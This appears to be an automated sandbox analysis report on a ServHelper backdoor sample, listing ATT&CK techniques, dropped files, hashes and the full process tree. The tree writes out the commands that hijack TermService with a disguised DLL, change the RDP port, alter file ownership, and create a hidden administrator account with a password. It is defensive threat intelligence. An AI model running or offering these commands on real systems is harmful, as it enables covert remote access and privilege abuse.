servhelper | d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c

Analysis

max time kernel
112s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
24-05-2022 14:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
Size

2.6MB
MD5

46ee7635d56bce4a798e33210c550229
SHA1

a937c3d1e97ea40d61c1f8a53310632044a57a84
SHA256

d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c
SHA512

76bdc9cde357e775e30b8bff22763142b709f035239b0b02fc8f4c26f84cbddc0a1ae928ae9d6eb73dbeec33b438584afc15fb1f64f0e1b52df89cf5003fea5a

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
4380	takeown.exe
4312	icacls.exe
3968	icacls.exe
552	icacls.exe
4340	icacls.exe
4984	icacls.exe
4504	icacls.exe
4500	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000001e728-172.dat	upx
behavioral2/files/0x000800000001e794-173.dat	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe

Loads dropped DLL 12 IoCs

pid	Process
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
4296	Process not Found
4296	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4312	icacls.exe
3968	icacls.exe
552	icacls.exe
4340	icacls.exe
4984	icacls.exe
4504	icacls.exe
4500	icacls.exe
4380	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4832	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
648	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
676	Process not Found
676	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeRestorePrivilege	3968	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 5032	4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	88
PID 4876 wrote to memory of 5032	4876	d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe	88
PID 5032 wrote to memory of 4832	5032	cmd.exe	90
PID 5032 wrote to memory of 4832	5032	cmd.exe	90
PID 5032 wrote to memory of 2344	5032	cmd.exe	92
PID 5032 wrote to memory of 2344	5032	cmd.exe	92
PID 2344 wrote to memory of 4380	2344	powershell.exe	93
PID 2344 wrote to memory of 4380	2344	powershell.exe	93
PID 2344 wrote to memory of 4312	2344	powershell.exe	94
PID 2344 wrote to memory of 4312	2344	powershell.exe	94
PID 2344 wrote to memory of 3968	2344	powershell.exe	95
PID 2344 wrote to memory of 3968	2344	powershell.exe	95
PID 2344 wrote to memory of 552	2344	powershell.exe	96
PID 2344 wrote to memory of 552	2344	powershell.exe	96
PID 2344 wrote to memory of 4340	2344	powershell.exe	97
PID 2344 wrote to memory of 4340	2344	powershell.exe	97
PID 2344 wrote to memory of 4984	2344	powershell.exe	98
PID 2344 wrote to memory of 4984	2344	powershell.exe	98
PID 2344 wrote to memory of 4504	2344	powershell.exe	99
PID 2344 wrote to memory of 4504	2344	powershell.exe	99
PID 2344 wrote to memory of 4500	2344	powershell.exe	100
PID 2344 wrote to memory of 4500	2344	powershell.exe	100
PID 2344 wrote to memory of 3484	2344	powershell.exe	101
PID 2344 wrote to memory of 3484	2344	powershell.exe	101
PID 2344 wrote to memory of 648	2344	powershell.exe	102
PID 2344 wrote to memory of 648	2344	powershell.exe	102
PID 2344 wrote to memory of 528	2344	powershell.exe	103
PID 2344 wrote to memory of 528	2344	powershell.exe	103
PID 2344 wrote to memory of 4280	2344	powershell.exe	104
PID 2344 wrote to memory of 4280	2344	powershell.exe	104
PID 4280 wrote to memory of 2640	4280	net.exe	105
PID 4280 wrote to memory of 2640	4280	net.exe	105
PID 2344 wrote to memory of 4640	2344	powershell.exe	106
PID 2344 wrote to memory of 4640	2344	powershell.exe	106
PID 4640 wrote to memory of 3680	4640	cmd.exe	107
PID 4640 wrote to memory of 3680	4640	cmd.exe	107
PID 3680 wrote to memory of 4392	3680	cmd.exe	108
PID 3680 wrote to memory of 4392	3680	cmd.exe	108
PID 4392 wrote to memory of 5012	4392	net.exe	109
PID 4392 wrote to memory of 5012	4392	net.exe	109
PID 2344 wrote to memory of 2620	2344	powershell.exe	110
PID 2344 wrote to memory of 2620	2344	powershell.exe	110
PID 2620 wrote to memory of 5028	2620	cmd.exe	111
PID 2620 wrote to memory of 5028	2620	cmd.exe	111
PID 5028 wrote to memory of 2600	5028	cmd.exe	112
PID 5028 wrote to memory of 2600	5028	cmd.exe	112
PID 2600 wrote to memory of 1208	2600	net.exe	113
PID 2600 wrote to memory of 1208	2600	net.exe	113
PID 1668 wrote to memory of 4316	1668	cmd.exe	117
PID 1668 wrote to memory of 4316	1668	cmd.exe	117
PID 4316 wrote to memory of 4572	4316	net.exe	118
PID 4316 wrote to memory of 4572	4316	net.exe	118
PID 4536 wrote to memory of 1500	4536	cmd.exe	121
PID 4536 wrote to memory of 1500	4536	cmd.exe	121
PID 1500 wrote to memory of 780	1500	net.exe	122
PID 1500 wrote to memory of 780	1500	net.exe	122
PID 1028 wrote to memory of 4068	1028	cmd.exe	125
PID 1028 wrote to memory of 4068	1028	cmd.exe	125
PID 4068 wrote to memory of 1064	4068	net.exe	126
PID 4068 wrote to memory of 1064	4068	net.exe	126
PID 5092 wrote to memory of 3660	5092	cmd.exe	129
PID 5092 wrote to memory of 3660	5092	cmd.exe	129
PID 3660 wrote to memory of 5084	3660	net.exe	130
PID 3660 wrote to memory of 5084	3660	net.exe	130

C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
"C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\timeout.exe
    timeout -t 15
    3⤵
    - Delays execution with timeout.exe
    PID:4832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4380
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4312
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3968
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:552
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4340
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4984
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4504
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4500
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:3484
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:648
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:528
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2640
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3680
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4392
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:5012
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2620
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5028
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1208
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:2428
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2200

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:4572

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc raKJv8Q6 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\system32\net.exe
  net.exe user wgautilacc raKJv8Q6 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc raKJv8Q6 /add
    3⤵
    PID:780

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JVJHUWZP$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:5092
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JVJHUWZP$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JVJHUWZP$ /ADD
    3⤵
    PID:5084

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1520
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:4448

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc raKJv8Q6
1⤵
PID:1424
- C:\Windows\system32\net.exe
  net.exe user wgautilacc raKJv8Q6
  2⤵
  PID:644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc raKJv8Q6
    3⤵
    PID:1128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\System.dll

Filesize
11KB

MD5
fbe295e5a1acfbd0a6271898f885fe6a

SHA1
d6d205922e61635472efb13c2bb92c9ac6cb96da

SHA256
a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

SHA512
2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\blowfish.dll

Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsl8B8C.tmp\nsUnzip.dll

Filesize
146KB

MD5
77a26c23948070dc012bba65e7f390aa

SHA1
7e112775770f9b3b24e2a238b5f7c66f8802e5d8

SHA256
4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

SHA512
2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

Download Submit
C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1

Filesize
3.0MB

MD5
bf9c5777512bf9b80299ef6e73ce7d1f

SHA1
9d3dc8f71effeaa22ac82ff7193b5b0677a41f96

SHA256
2dbb446acc41e5cf2338cb2c0a58171965855fc8cd2f9acb128c4788583da6ef

SHA512
1b23ea2bd3c40052ef95c43037fa6cb7a25695ded8a4fcb4d43bb0abe2773ad884dfe49504bf1d73fe633305452a150426027e631fd98a0edbcf1ec36ce36940

Download Submit
C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

Filesize
102B

MD5
cfb0d53c55c998ebb7276c99fef6fc6c

SHA1
2613891681d4462c2660e118093c55c94ab121c7

SHA256
c7fa1fc308bfce295ab799b6bb277f879210f8790792353569d86861645e6415

SHA512
60493755ddf8314384fea61b63882601537a3ddc88e3904b7b0aa2eb30681bafb6ab41db9c62f37737f24e8d93b752c09b5b26f181b55e6dc6e221c710bc0c8a

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
55KB

MD5
8307a6e5068b13a285978a3348d87941

SHA1
6f6247a111267c1464a78355258ca1a1099829ac

SHA256
829bfc5aa4f18306b3983daa58f011dd80f996c1472ed35059a4551b29b97a9c

SHA512
b61687547177ec16f88a0a6be14585db77579f3434096bb583a0b8c4c0d949d3bfa085c930c4b607dfc6ad2f51b52745b5c2fc32a0318781c32295b62aaad63a

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
946KB

MD5
307dd4c38d17e840052989517777f8a6

SHA1
4955a0874e3a48adf1d13cfa2dde3b1f5116ab99

SHA256
1137c49d383a9c2d1f9761bc586d12575bac535948e7e15606c8dac04aa1e890

SHA512
87c14563141be1383de8cf2f5adfab8fdee08f38d3941485b489b8a62e50f98598206ce3a7d5fdb804ca27231d384cfaed26e1363fe83ce4812f8f2be40727a3

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
memory/2344-147-0x000001E2D7F10000-0x000001E2D7F32000-memory.dmp

Filesize
136KB

Download
memory/2344-149-0x00007FFAB2140000-0x00007FFAB2C01000-memory.dmp

Filesize
10.8MB

Download
memory/4876-132-0x00000000022E1000-0x00000000022E5000-memory.dmp

Filesize
16KB

Download